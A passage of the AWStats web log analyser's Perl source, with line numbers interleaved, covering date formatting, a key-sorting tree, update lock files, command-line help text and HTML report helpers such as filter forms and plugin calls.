        }
 
8066
        return -1;
 
8067
}
 
8068
 
 
8069
#------------------------------------------------------------------------------
 
8070
# Function:             Format a date according to Message[78] (country date format)
 
8071
# Parameters:   String date YYYYMMDDHHMMSS
 
8072
#               Option 0=LastUpdate and LastTime date
 
8073
#                      1=Arrays date except daymonthvalues
 
8074
#                      2=daymonthvalues date (only year month and day)
 
8075
# Input:        $Message[78]
 
8076
# Output:       None
 
8077
# Return:       Date with format defined by Message[78] and option
 
8078
#------------------------------------------------------------------------------
 
8079
sub Format_Date {
 
8080
        my $date       = shift;
 
8081
        my $option     = shift || 0;
 
8082
        my $year       = substr( "$date", 0, 4 );
 
8083
        my $month      = substr( "$date", 4, 2 );
 
8084
        my $day        = substr( "$date", 6, 2 );
 
8085
        my $hour       = substr( "$date", 8, 2 );
 
8086
        my $min        = substr( "$date", 10, 2 );
 
8087
        my $sec        = substr( "$date", 12, 2 );
 
8088
        my $dateformat = $Message[78];
 
8089
 
 
8090
        if ( $option == 2 ) {
 
8091
                $dateformat =~ s/^[^ymd]+//g;
 
8092
                $dateformat =~ s/[^ymd]+$//g;
 
8093
        }
 
8094
        $dateformat =~ s/yyyy/$year/g;
 
8095
        $dateformat =~ s/yy/$year/g;
 
8096
        $dateformat =~ s/mmm/$MonthNumLib{$month}/g;
 
8097
        $dateformat =~ s/mm/$month/g;
 
8098
        $dateformat =~ s/dd/$day/g;
 
8099
        $dateformat =~ s/HH/$hour/g;
 
8100
        $dateformat =~ s/MM/$min/g;
 
8101
        $dateformat =~ s/SS/$sec/g;
 
8102
        return "$dateformat";
 
8103
}
 
8104
 
 
8105
#------------------------------------------------------------------------------
 
8106
# Function:     Return 1 if string contains only ascii chars
 
8107
# Parameters:   string
 
8108
# Input:        None
 
8109
# Output:       None
 
8110
# Return:       0 or 1
 
8111
#------------------------------------------------------------------------------
 
8112
sub IsAscii {
 
8113
        my $string = shift;
 
8114
        if ($Debug) { debug( "IsAscii($string)", 5 ); }
 
8115
        if ( $string =~ /^[\w\+\-\/\\\.%,;:=\"\'&?!\s]+$/ ) {
 
8116
                if ($Debug) { debug( " Yes", 6 ); }
 
8117
                return
 
8118
                  1
 
8119
                  ; # Only alphanum chars (and _) or + - / \ . % , ; : = " ' & ? space \t
 
8120
        }
 
8121
        if ($Debug) { debug( " No", 6 ); }
 
8122
        return 0;
 
8123
}
 
8124
 
 
8125
#------------------------------------------------------------------------------
 
8126
# Function:     Return the lower value between 2 but exclude value if 0
 
8127
# Parameters:   Val1 and Val2
 
8128
# Input:        None
 
8129
# Output:       None
 
8130
# Return:       min(Val1,Val2)
 
8131
#------------------------------------------------------------------------------
 
8132
sub MinimumButNoZero {
 
8133
        my ( $val1, $val2 ) = @_;
 
8134
        return ( $val1 && ( $val1 < $val2 || !$val2 ) ? $val1 : $val2 );
 
8135
}
 
8136
 
 
8137
#------------------------------------------------------------------------------
 
8138
# Function:     Add a val from sorting tree
 
8139
# Parameters:   keytoadd keyval [firstadd]
 
8140
# Input:        None
 
8141
# Output:       None
 
8142
# Return:       None
 
8143
#------------------------------------------------------------------------------
 
8144
sub AddInTree {
 
8145
        my $keytoadd = shift;
 
8146
        my $keyval   = shift;
 
8147
        my $firstadd = shift || 0;
 
8148
        if ( $firstadd == 1 ) {    # Val is the first one
 
8149
                if ($Debug) { debug( "  firstadd", 4 ); }
 
8150
                $val{$keyval} = $keytoadd;
 
8151
                $lowerval = $keyval;
 
8152
                if ($Debug) {
 
8153
                        debug(
 
8154
                                "  lowerval=$lowerval, nb elem val="
 
8155
                                  . ( scalar keys %val )
 
8156
                                  . ", nb elem egal="
 
8157
                                  . ( scalar keys %egal ) . ".",
 
8158
                                4
 
8159
                        );
 
8160
                }
 
8161
                return;
 
8162
        }
 
8163
        if ( $val{$keyval} ) {    # Val is already in tree
 
8164
                if ($Debug) { debug( "  val is already in tree", 4 ); }
 
8165
                $egal{$keytoadd} = $val{$keyval};
 
8166
                $val{$keyval}    = $keytoadd;
 
8167
                if ($Debug) {
 
8168
                        debug(
 
8169
                                "  lowerval=$lowerval, nb elem val="
 
8170
                                  . ( scalar keys %val )
 
8171
                                  . ", nb elem egal="
 
8172
                                  . ( scalar keys %egal ) . ".",
 
8173
                                4
 
8174
                        );
 
8175
                }
 
8176
                return;
 
8177
        }
 
8178
        if ( $keyval <= $lowerval )
 
8179
        {    # Val is a new one lower (should happens only when tree is not full)
 
8180
                if ($Debug) {
 
8181
                        debug(
 
8182
"  keytoadd val=$keyval is lower or equal to lowerval=$lowerval",
 
8183
                                4
 
8184
                        );
 
8185
                }
 
8186
                $val{$keyval}     = $keytoadd;
 
8187
                $nextval{$keyval} = $lowerval;
 
8188
                $lowerval         = $keyval;
 
8189
                if ($Debug) {
 
8190
                        debug(
 
8191
                                "  lowerval=$lowerval, nb elem val="
 
8192
                                  . ( scalar keys %val )
 
8193
                                  . ", nb elem egal="
 
8194
                                  . ( scalar keys %egal ) . ".",
 
8195
                                4
 
8196
                        );
 
8197
                }
 
8198
                return;
 
8199
        }
 
8200
 
 
8201
        # Val is a new one higher
 
8202
        if ($Debug) {
 
8203
                debug( "  keytoadd val=$keyval is higher than lowerval=$lowerval", 4 );
 
8204
        }
 
8205
        $val{$keyval} = $keytoadd;
 
8206
        my $valcursor = $lowerval;    # valcursor is value just before keyval
 
8207
        while ( $nextval{$valcursor} && ( $nextval{$valcursor} < $keyval ) ) {
 
8208
                $valcursor = $nextval{$valcursor};
 
8209
        }
 
8210
        if ( $nextval{$valcursor} )
 
8211
        {    # keyval is between valcursor and nextval{valcursor}
 
8212
                $nextval{$keyval} = $nextval{$valcursor};
 
8213
        }
 
8214
        $nextval{$valcursor} = $keyval;
 
8215
        if ($Debug) {
 
8216
                debug(
 
8217
                        "  lowerval=$lowerval, nb elem val="
 
8218
                          . ( scalar keys %val )
 
8219
                          . ", nb elem egal="
 
8220
                          . ( scalar keys %egal ) . ".",
 
8221
                        4
 
8222
                );
 
8223
        }
 
8224
}
 
8225
 
 
8226
#------------------------------------------------------------------------------
 
8227
# Function:     Remove a val from sorting tree
 
8228
# Parameters:   None
 
8229
# Input:        $lowerval %val %egal
 
8230
# Output:       None
 
8231
# Return:       None
 
8232
#------------------------------------------------------------------------------
 
8233
sub Removelowerval {
 
8234
        my $keytoremove = $val{$lowerval};    # This is lower key
 
8235
        if ($Debug) {
 
8236
                debug( "   remove for lowerval=$lowerval: key=$keytoremove", 4 );
 
8237
        }
 
8238
        if ( $egal{$keytoremove} ) {
 
8239
                $val{$lowerval} = $egal{$keytoremove};
 
8240
                delete $egal{$keytoremove};
 
8241
        }
 
8242
        else {
 
8243
                delete $val{$lowerval};
 
8244
                $lowerval = $nextval{$lowerval};    # Set new lowerval
 
8245
        }
 
8246
        if ($Debug) {
 
8247
                debug(
 
8248
                        "   new lower value=$lowerval, val size="
 
8249
                          . ( scalar keys %val )
 
8250
                          . ", egal size="
 
8251
                          . ( scalar keys %egal ),
 
8252
                        4
 
8253
                );
 
8254
        }
 
8255
}
 
8256
 
 
8257
#------------------------------------------------------------------------------
 
8258
# Function:     Build @keylist array
 
8259
# Parameters:   Size max for @keylist array,
 
8260
#               Min value in hash for select,
 
8261
#               Hash used for select,
 
8262
#               Hash used for order
 
8263
# Input:        None
 
8264
# Output:       None
 
8265
# Return:       @keylist response array
 
8266
#------------------------------------------------------------------------------
 
8267
sub BuildKeyList {
 
8268
        my $ArraySize = shift || error(
 
8269
"System error. Call to BuildKeyList function with incorrect value for first param",
 
8270
                "", "", 1
 
8271
        );
 
8272
        my $MinValue = shift || error(
 
8273
"System error. Call to BuildKeyList function with incorrect value for second param",
 
8274
                "", "", 1
 
8275
        );
 
8276
        my $hashforselect = shift;
 
8277
        my $hashfororder  = shift;
 
8278
        if ($Debug) {
 
8279
                debug(
 
8280
                        "  BuildKeyList($ArraySize,$MinValue,$hashforselect with size="
 
8281
                          . ( scalar keys %$hashforselect )
 
8282
                          . ",$hashfororder with size="
 
8283
                          . ( scalar keys %$hashfororder ) . ")",
 
8284
                        3
 
8285
                );
 
8286
        }
 
8287
        delete $hashforselect->{0};
 
8288
        delete $hashforselect->{ ''
 
8289
          }; # Those is to protect from infinite loop when hash array has an incorrect null key
 
8290
        my $count = 0;
 
8291
        $lowerval = 0;    # Global because used in AddInTree and Removelowerval
 
8292
        %val      = ();
 
8293
        %nextval  = ();
 
8294
        %egal     = ();
 
8295
 
 
8296
        foreach my $key ( keys %$hashforselect ) {
 
8297
                if ( $count < $ArraySize ) {
 
8298
                        if ( $hashforselect->{$key} >= $MinValue ) {
 
8299
                                $count++;
 
8300
                                if ($Debug) {
 
8301
                                        debug(
 
8302
                                                "  Add in tree entry $count : $key (value="
 
8303
                                                  . ( $hashfororder->{$key} || 0 )
 
8304
                                                  . ", tree not full)",
 
8305
                                                4
 
8306
                                        );
 
8307
                                }
 
8308
                                AddInTree( $key, $hashfororder->{$key} || 0, $count );
 
8309
                        }
 
8310
                        next;
 
8311
                }
 
8312
                $count++;
 
8313
                if ( ( $hashfororder->{$key} || 0 ) <= $lowerval ) { next; }
 
8314
                if ($Debug) {
 
8315
                        debug(
 
8316
                                "  Add in tree entry $count : $key (value="
 
8317
                                  . ( $hashfororder->{$key} || 0 )
 
8318
                                  . " > lowerval=$lowerval)",
 
8319
                                4
 
8320
                        );
 
8321
                }
 
8322
                AddInTree( $key, $hashfororder->{$key} || 0 );
 
8323
                if ($Debug) { debug( "  Removelower in tree", 4 ); }
 
8324
                Removelowerval();
 
8325
        }
 
8326
 
 
8327
        # Build key list and sort it
 
8328
        if ($Debug) {
 
8329
                debug(
 
8330
                        "  Build key list and sort it. lowerval=$lowerval, nb elem val="
 
8331
                          . ( scalar keys %val )
 
8332
                          . ", nb elem egal="
 
8333
                          . ( scalar keys %egal ) . ".",
 
8334
                        3
 
8335
                );
 
8336
        }
 
8337
        my %notsortedkeylist = ();
 
8338
        foreach my $key ( values %val )  { $notsortedkeylist{$key} = 1; }
 
8339
        foreach my $key ( values %egal ) { $notsortedkeylist{$key} = 1; }
 
8340
        @keylist = ();
 
8341
        @keylist = (
 
8342
                sort { ( $hashfororder->{$b} || 0 ) <=> ( $hashfororder->{$a} || 0 ) }
 
8343
                  keys %notsortedkeylist
 
8344
        );
 
8345
        if ($Debug) {
 
8346
                debug( "  BuildKeyList End (keylist size=" . (@keylist) . ")", 3 );
 
8347
        }
 
8348
        return;
 
8349
}
 
8350
 
 
8351
#------------------------------------------------------------------------------
 
8352
# Function:     Lock or unlock update
 
8353
# Parameters:   status (1 to lock, 0 to unlock)
 
8354
# Input:        $DirLock (if status=0) $PROG $FileSuffix
 
8355
# Output:       $DirLock (if status=1)
 
8356
# Return:       None
 
8357
#------------------------------------------------------------------------------
 
8358
sub Lock_Update {
 
8359
        my $status = shift;
 
8360
        my $lock   = "$PROG$FileSuffix.lock";
 
8361
        if ($status) {
 
8362
 
 
8363
                # We stop if there is at least one lock file wherever it is
 
8364
                foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) {
 
8365
                        my $newkey = $key;
 
8366
                        $newkey =~ s/[\\\/]$//;
 
8367
                        if ( -f "$newkey/$lock" ) {
 
8368
                                error(
 
8369
"An AWStats update process seems to be already running for this config file. Try later.\nIf this is not true, remove manually lock file '$newkey/$lock'.",
 
8370
                                        "", "", 1
 
8371
                                );
 
8372
                        }
 
8373
                }
 
8374
 
 
8375
                # Set lock where we can
 
8376
                foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) {
 
8377
                        if ( !-d "$key" ) { next; }
 
8378
                        $DirLock = $key;
 
8379
                        $DirLock =~ s/[\\\/]$//;
 
8380
                        if ($Debug) { debug("Update lock file $DirLock/$lock is set"); }
 
8381
                        open( LOCK, ">$DirLock/$lock" )
 
8382
                          || error( "Failed to create lock file $DirLock/$lock", "", "",
 
8383
                                1 );
 
8384
                        print LOCK
 
8385
"AWStats update started by process $$ at $nowyear-$nowmonth-$nowday $nowhour:$nowmin:$nowsec\n";
 
8386
                        close(LOCK);
 
8387
                        last;
 
8388
                }
 
8389
        }
 
8390
        else {
 
8391
 
 
8392
                # Remove lock
 
8393
                if ($Debug) { debug("Update lock file $DirLock/$lock is removed"); }
 
8394
                unlink("$DirLock/$lock");
 
8395
        }
 
8396
        return;
 
8397
}
 
8398
 
 
8399
#------------------------------------------------------------------------------
 
8400
# Function:     Signal handler to call Lock_Update to remove lock file
 
8401
# Parameters:   Signal name
 
8402
# Input:        None
 
8403
# Output:       None
 
8404
# Return:       None
 
8405
#------------------------------------------------------------------------------
 
8406
sub SigHandler {
 
8407
        my $signame = shift;
 
8408
        print ucfirst($PROG) . " process (ID $$) interrupted by signal $signame.\n";
 
8409
        &Lock_Update(0);
 
8410
        exit 1;
 
8411
}
 
8412
 
 
8413
#------------------------------------------------------------------------------
 
8414
# Function:     Convert an IPAddress into an integer
 
8415
# Parameters:   IPAddress
 
8416
# Input:        None
 
8417
# Output:       None
 
8418
# Return:       Int
 
8419
#------------------------------------------------------------------------------
 
8420
sub Convert_IP_To_Decimal {
 
8421
        my ($IPAddress) = @_;
 
8422
        my @ip_seg_arr = split( /\./, $IPAddress );
 
8423
        my $decimal_ip_address =
 
8424
          256 * 256 * 256 * $ip_seg_arr[0] + 256 * 256 * $ip_seg_arr[1] + 256 *
 
8425
          $ip_seg_arr[2] + $ip_seg_arr[3];
 
8426
        return ($decimal_ip_address);
 
8427
}
 
8428
 
 
8429
#------------------------------------------------------------------------------
 
8430
# Function:     Test there is at least one value in list not null
 
8431
# Parameters:   List of values
 
8432
# Input:        None
 
8433
# Output:       None
 
8434
# Return:       1 There is at least one not null value, 0 else
 
8435
#------------------------------------------------------------------------------
 
8436
sub AtLeastOneNotNull {
 
8437
        if ($Debug) {
 
8438
                debug( " Call to AtLeastOneNotNull (" . join( '-', @_ ) . ")", 3 );
 
8439
        }
 
8440
        foreach my $val (@_) {
 
8441
                if ($val) { return 1; }
 
8442
        }
 
8443
        return 0;
 
8444
}
 
8445
 
 
8446
#------------------------------------------------------------------------------
 
8447
# Function:     Prints the command line interface help information
 
8448
# Parameters:   None
 
8449
# Input:        None
 
8450
# Output:       None
 
8451
# Return:       None
 
8452
#------------------------------------------------------------------------------
 
8453
sub PrintCLIHelp{
 
8454
        &Read_Ref_Data(
 
8455
                'browsers',       'domains', 'operating_systems', 'robots',
 
8456
                'search_engines', 'worms'
 
8457
        );
 
8458
        print "----- $PROG $VERSION (c) 2000-2010 Laurent Destailleur -----\n";
 
8459
        print
 
8460
"AWStats is a free web server logfile analyzer to show you advanced web\n";
 
8461
        print "statistics.\n";
 
8462
        print
 
8463
"AWStats comes with ABSOLUTELY NO WARRANTY. It's a free software distributed\n";
 
8464
        print "with a GNU General Public License (See LICENSE file for details).\n";
 
8465
        print "\n";
 
8466
        print "Syntax: $PROG.$Extension -config=virtualhostname [options]\n";
 
8467
        print "\n";
 
8468
        print
 
8469
"  This runs $PROG in command line to update statistics (-update option) of a\n";
 
8470
        print
 
8471
"   web site, from the log file defined in AWStats config file, or build a HTML\n";
 
8472
        print "   report (-output option).\n";
 
8473
        print
 
8474
"  First, $PROG tries to read $PROG.virtualhostname.conf as the config file.\n";
 
8475
        print "  If not found, $PROG tries to read $PROG.conf, and finally the full path passed to -config=\n";
 
8476
        print
 
8477
"  Note 1: Config files ($PROG.virtualhostname.conf or $PROG.conf) must be\n";
 
8478
        print
 
8479
"   in /etc/awstats, /usr/local/etc/awstats, /etc or same directory than\n";
 
8480
        print "   awstats.pl script file.\n";
 
8481
        print
 
8482
"  Note 2: If AWSTATS_FORCE_CONFIG environment variable is defined, AWStats will\n";
 
8483
        print
 
8484
"   use it as the \"config\" value, whatever is the value on command line or URL.\n";
 
8485
        print "   See AWStats documentation for all setup instrutions.\n";
 
8486
        print "\n";
 
8487
        print "Options to update statistics:\n";
 
8488
        print "  -update        to update statistics (default)\n";
 
8489
        print
 
8490
"  -showsteps     to add benchmark information every $NBOFLINESFORBENCHMARK lines processed\n";
 
8491
        print
 
8492
"  -showcorrupted to add output for each corrupted lines found, with reason\n";
 
8493
        print
 
8494
"  -showdropped   to add output for each dropped lines found, with reason\n";
 
8495
        print "  -showunknownorigin  to output referer when it can't be parsed\n";
 
8496
        print
 
8497
"  -showdirectorigin   to output log line when origin is a direct access\n";
 
8498
        print "  -updatefor=n   to stop the update process after parsing n lines\n";
 
8499
        print
 
8500
"  -LogFile=x     to change log to analyze whatever is 'LogFile' in config file\n";
 
8501
        print
 
8502
"  Be care to process log files in chronological order when updating statistics.\n";
 
8503
        print "\n";
 
8504
        print "Options to show statistics:\n";
 
8505
        print
 
8506
"  -output      to output main HTML report (no update made except with -update)\n";
 
8507
        print "  -output=x    to output other report pages where x is:\n";
 
8508
        print
 
8509
"               alldomains       to build page of all domains/countries\n";
 
8510
        print "               allhosts         to build page of all hosts\n";
 
8511
        print
 
8512
          "               lasthosts        to build page of last hits for hosts\n";
 
8513
        print
 
8514
          "               unknownip        to build page of all unresolved IP\n";
 
8515
        print
 
8516
"               allemails        to build page of all email senders (maillog)\n";
 
8517
        print
 
8518
"               lastemails       to build page of last email senders (maillog)\n";
 
8519
        print
 
8520
"               allemailr        to build page of all email receivers (maillog)\n";
 
8521
        print
 
8522
"               lastemailr       to build page of last email receivers (maillog)\n";
 
8523
        print "               alllogins        to build page of all logins used\n";
 
8524
        print
 
8525
          "               lastlogins       to build page of last hits for logins\n";
 
8526
        print
 
8527
"               allrobots        to build page of all robots/spider visits\n";
 
8528
        print
 
8529
          "               lastrobots       to build page of last hits for robots\n";
 
8530
        print "               urldetail        to list most often viewed pages \n";
 
8531
        print
 
8532
"               urldetail:filter to list most often viewed pages matching filter\n";
 
8533
        print "               urlentry         to list entry pages\n";
 
8534
        print
 
8535
          "               urlentry:filter  to list entry pages matching filter\n";
 
8536
        print "               urlexit          to list exit pages\n";
 
8537
        print
 
8538
          "               urlexit:filter   to list exit pages matching filter\n";
 
8539
        print
 
8540
"               osdetail         to build page with os detailed versions\n";
 
8541
        print
 
8542
"               browserdetail    to build page with browsers detailed versions\n";
 
8543
        print
 
8544
"               unknownbrowser   to list 'User Agents' with unknown browser\n";
 
8545
        print
 
8546
          "               unknownos        to list 'User Agents' with unknown OS\n";
 
8547
        print
 
8548
"               refererse        to build page of all refering search engines\n";
 
8549
        print
 
8550
          "               refererpages     to build page of all refering pages\n";
 
8551
 
 
8552
 #print "               referersites     to build page of all refering sites\n";
 
8553
        print
 
8554
"               keyphrases       to list all keyphrases used on search engines\n";
 
8555
        print
 
8556
"               keywords         to list all keywords used on search engines\n";
 
8557
        print "               errors404        to list 'Referers' for 404 errors\n";
 
8558
        print
 
8559
"               allextraX        to build page of all values for ExtraSection X\n";
 
8560
        print "  -staticlinks           to have static links in HTML report page\n";
 
8561
        print "  -staticlinksext=xxx    to have static links with .xxx extension instead of .html\n";
 
8562
        print
 
8563
"  -lang=LL     to output a HTML report in language LL (en,de,es,fr,it,nl,...)\n";
 
8564
        print "  -month=MM    to output a HTML report for an old month MM\n";
 
8565
        print "  -year=YYYY   to output a HTML report for an old year YYYY\n";
 
8566
        print
 
8567
"  The 'date' options doesn't allow you to process old log file. They only\n";
 
8568
        print
 
8569
"  allow you to see a past report for a chosen month/year period instead of\n";
 
8570
        print "  current month/year.\n";
 
8571
        print "\n";
 
8572
        print "Other options:\n";
 
8573
        print
 
8574
"  -debug=X     to add debug informations lesser than level X (speed reduced)\n";
 
8575
        print "\n";
 
8576
        print "Now supports/detects:\n";
 
8577
        print
 
8578
"  Web/Ftp/Mail/streaming server log analyzis (and load balanced log files)\n";
 
8579
        print "  Reverse DNS lookup (IPv4 and IPv6) and GeoIP lookup\n";
 
8580
        print "  Number of visits, number of unique visitors\n";
 
8581
        print "  Visits duration and list of last visits\n";
 
8582
        print "  Authenticated users\n";
 
8583
        print "  Days of week and rush hours\n";
 
8584
        print "  Hosts list and unresolved IP addresses list\n";
 
8585
        print "  Most viewed, entry and exit pages\n";
 
8586
        print "  Files type and Web compression (mod_gzip, mod_deflate stats)\n";
 
8587
        print "  Screen size\n";
 
8588
        print "  Ratio of Browsers with support of: Java, Flash, RealG2 reader,\n";
 
8589
        print "                        Quicktime reader, WMA reader, PDF reader\n";
 
8590
        print "  Configurable personalized reports\n";
 
8591
        print "  " . ( scalar keys %DomainsHashIDLib ) . " domains/countries\n";
 
8592
        print "  " . ( scalar keys %RobotsHashIDLib ) . " robots\n";
 
8593
        print "  " . ( scalar keys %WormsHashLib ) . " worm's families\n";
 
8594
        print "  " . ( scalar keys %OSHashLib ) . " operating systems\n";
 
8595
        print "  " . ( scalar keys %BrowsersHashIDLib ) . " browsers";
 
8596
        &Read_Ref_Data('browsers_phone');
 
8597
        print " ("
 
8598
          . ( scalar keys %BrowsersHashIDLib )
 
8599
          . " with phone browsers database)\n";
 
8600
        print "  "
 
8601
          . ( scalar keys %SearchEnginesHashLib )
 
8602
          . " search engines (and keyphrases/keywords used from them)\n";
 
8603
        print "  All HTTP errors with last referrer\n";
 
8604
        print "  Report by day/month/year\n";
 
8605
        print "  Dynamic or static HTML or XHTML reports, static PDF reports\n";
 
8606
        print "  Indexed text or XML monthly database\n";
 
8607
        print "  And a lot of other advanced features and options...\n";
 
8608
        print "New versions and FAQ at http://awstats.sourceforge.net\n";
 
8609
}
 
8610
 
 
8611
#------------------------------------------------------------------------------
 
8612
# Function:     Return the string to add in html tag to include popup javascript code
 
8613
# Parameters:   tooltip number
 
8614
# Input:        None
 
8615
# Output:       None
 
8616
# Return:       string with javascript code
 
8617
#------------------------------------------------------------------------------
 
8618
sub Tooltip {
 
8619
        my $ttnb = shift;
 
8620
        return (
 
8621
                $TOOLTIPON
 
8622
                ? " onmouseover=\"ShowTip($ttnb);\" onmouseout=\"HideTip($ttnb);\""
 
8623
                : ""
 
8624
        );
 
8625
}
 
8626
 
 
8627
#------------------------------------------------------------------------------
 
8628
# Function:     Insert a form filter
 
8629
# Parameters:   Name of filter field, default for filter field, default for exclude filter field
 
8630
# Input:        $StaticLinks, $QueryString, $SiteConfig, $DirConfig
 
8631
# Output:       HTML Form
 
8632
# Return:       None
 
8633
#------------------------------------------------------------------------------
 
8634
sub HTMLShowFormFilter {
 
8635
        my $fieldfiltername    = shift;
 
8636
        my $fieldfilterinvalue = shift;
 
8637
        my $fieldfilterexvalue = shift;
 
8638
        if ( !$StaticLinks ) {
 
8639
                my $NewLinkParams = ${QueryString};
 
8640
                $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
 
8641
                $NewLinkParams =~ s/(^|&|&amp;)output(=\w*|$)//i;
 
8642
                $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
 
8643
                $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
 
8644
                $NewLinkParams =~ s/^&amp;//;
 
8645
                $NewLinkParams =~ s/&amp;$//;
 
8646
                if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
 
8647
                print "\n<form name=\"FormFilter\" action=\""
 
8648
                  . XMLEncode("$AWScript${NewLinkParams}")
 
8649
                  . "\" class=\"aws_border\">\n";
 
8650
                print
 
8651
"<table valign=\"middle\" width=\"99%\" border=\"0\" cellspacing=\"0\" cellpadding=\"2\"><tr>\n";
 
8652
                print "<td align=\"left\" width=\"50\">$Message[79]&nbsp;:</td>\n";
 
8653
                print
 
8654
"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}\" value=\"$fieldfilterinvalue\" class=\"aws_formfield\" /></td>\n";
 
8655
                print "<td> &nbsp; </td>";
 
8656
                print "<td align=\"left\" width=\"100\">$Message[153]&nbsp;:</td>\n";
 
8657
                print
 
8658
"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}ex\" value=\"$fieldfilterexvalue\" class=\"aws_formfield\" /></td>\n";
 
8659
                print "<td>";
 
8660
                print "<input type=\"hidden\" name=\"output\" value=\""
 
8661
                  . join( ',', keys %HTMLOutput )
 
8662
                  . "\" />\n";
 
8663
 
 
8664
                if ($SiteConfig) {
 
8665
                        print
 
8666
"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n";
 
8667
                }
 
8668
                if ($DirConfig) {
 
8669
                        print
 
8670
"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n";
 
8671
                }
 
8672
                if ( $QueryString =~ /(^|&|&amp;)year=(\d\d\d\d)/i ) {
 
8673
                        print "<input type=\"hidden\" name=\"year\" value=\"$2\" />\n";
 
8674
                }
 
8675
                if (   $QueryString =~ /(^|&|&amp;)month=(\d\d)/i
 
8676
                        || $QueryString =~ /(^|&|&amp;)month=(all)/i )
 
8677
                {
 
8678
                        print "<input type=\"hidden\" name=\"month\" value=\"$2\" />\n";
 
8679
                }
 
8680
                if ( $QueryString =~ /(^|&|&amp;)lang=(\w+)/i ) {
 
8681
                        print "<input type=\"hidden\" name=\"lang\" value=\"$2\" />\n";
 
8682
                }
 
8683
                if ( $QueryString =~ /(^|&|&amp;)debug=(\d+)/i ) {
 
8684
                        print "<input type=\"hidden\" name=\"debug\" value=\"$2\" />\n";
 
8685
                }
 
8686
                if ( $QueryString =~ /(^|&|&amp;)framename=(\w+)/i ) {
 
8687
                        print "<input type=\"hidden\" name=\"framename\" value=\"$2\" />\n";
 
8688
                }
 
8689
                print
 
8690
"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" /></td>\n";
 
8691
                print "<td> &nbsp; </td>";
 
8692
                print "</tr></table>\n";
 
8693
                print "</form>\n";
 
8694
                print "<br />\n";
 
8695
                print "\n";
 
8696
        }
 
8697
}
 
8698
 
 
8699
#------------------------------------------------------------------------------
 
8700
# Function:     Write other user info (with help of plugin)
 
8701
# Parameters:   $user
 
8702
# Input:        $SiteConfig
 
8703
# Output:       URL link
 
8704
# Return:       None
 
8705
#------------------------------------------------------------------------------
 
8706
sub HTMLShowUserInfo {
 
8707
        my $user = shift;
 
8708
 
 
8709
        # Call to plugins' function ShowInfoUser
 
8710
        foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoUser'} } ) {
 
8711
 
 
8712
                #               my $function="ShowInfoUser_$pluginname('$user')";
 
8713
                #               eval("$function");
 
8714
                my $function = "ShowInfoUser_$pluginname";
 
8715
                &$function($user);
 
8716
        }
 
8717
}
 
8718
 
 
8719
#------------------------------------------------------------------------------
 
8720
# Function:     Write other cluster info (with help of plugin)
 
8721
# Parameters:   $clusternb
 
8722
# Input:        $SiteConfig
 
8723
# Output:       Cluster info
 
8724
# Return:       None
 
8725
#------------------------------------------------------------------------------
 
8726
sub HTMLShowClusterInfo {
 
8727
        my $cluster = shift;
 
8728
 
 
8729
        # Call to plugins' function ShowInfoCluster
 
8730
        foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoCluster'} } )
 
8731
        {
 
8732
 
 
8733
                #               my $function="ShowInfoCluster_$pluginname('$user')";
 
8734
                #               eval("$function");
 
8735
                my $function = "ShowInfoCluster_$pluginname";
 
8736
                &$function($cluster);
 
8737
        }
 
8738
}
 
8739
 
 
8740
#------------------------------------------------------------------------------
 
8741
# Function:     Write other host info (with help of plugin)
 
8742
# Parameters:   $host
 
8743
# Input:        $LinksToWhoIs $LinksToWhoIsIp
 
8744
# Output:       None
 
8745
# Return:       None
 
8746
#------------------------------------------------------------------------------
 
8747
sub HTMLShowHostInfo {
 
8748
        my $host = shift;
 
8749
 
 
8750
        # Call to plugins' function ShowInfoHost
 
8751
        foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoHost'} } ) {
 
8752
 
 
8753
                #               my $function="ShowInfoHost_$pluginname('$host')";
 
8754
                #               eval("$function");
 
8755
                my $function = "ShowInfoHost_$pluginname";
 
8756
                &$function($host);
 
8757
        }
 
8758
}
 
8759
 
 
8760
#------------------------------------------------------------------------------
 
8761
# Function:     Write other url info (with help of plugin)
 
8762
# Parameters:   $url
 
8763
# Input:        %Aliases $MaxLengthOfShownURL $ShowLinksOnUrl $SiteDomain $UseHTTPSLinkForUrl
 
8764
# Output:       URL link
 
8765
# Return:       None
 
8766
#------------------------------------------------------------------------------
 
8767
sub HTMLShowURLInfo {
 
8768
        my $url     = shift;
 
8769
        my $nompage = CleanXSS($url);
 
8770
 
 
8771
        # Call to plugins' function ShowInfoURL
 
8772
        foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowInfoURL'} } ) {
 
8773
 
 
8774
                #               my $function="ShowInfoURL_$pluginname('$url')";
 
8775
                #               eval("$function");
 
8776
                my $function = "ShowInfoURL_$pluginname";
 
8777
                &$function($url);
 
8778
        }
 
8779
 
 
8780
        if ( length($nompage) > $MaxLengthOfShownURL ) {
 
8781
                $nompage = substr( $nompage, 0, $MaxLengthOfShownURL ) . "...";
 
8782
        }
 
8783
        if ($ShowLinksOnUrl) {
 
8784
                my $newkey = CleanXSS($url);
 
8785
                if ( $LogType eq 'W' || $LogType eq 'S' ) {  # Web or streaming log file
 
8786
                        if ( $newkey =~ /^http(s|):/i )
 
8787
                        {    # URL seems to be extracted from a proxy log file
 
8788
                                print "<a href=\""
 
8789
                                  . XMLEncode("$newkey")
 
8790
                                  . "\" target=\"url\">"
 
8791
                                  . XMLEncode($nompage) . "</a>";
 
8792
                        }
 
8793
                        elsif ( $newkey =~ /^\// )
 
8794
                        { # URL seems to be an url extracted from a web or wap server log file
 
8795
                                $newkey =~ s/^\/$SiteDomain//i;
 
8796
 
 
8797
                                # Define urlprot
 
8798
                                my $urlprot = 'http';
 
8799
                                if ( $UseHTTPSLinkForUrl && $newkey =~ /^$UseHTTPSLinkForUrl/ )
 
8800
                                {
 
8801
                                        $urlprot = 'https';
 
8802
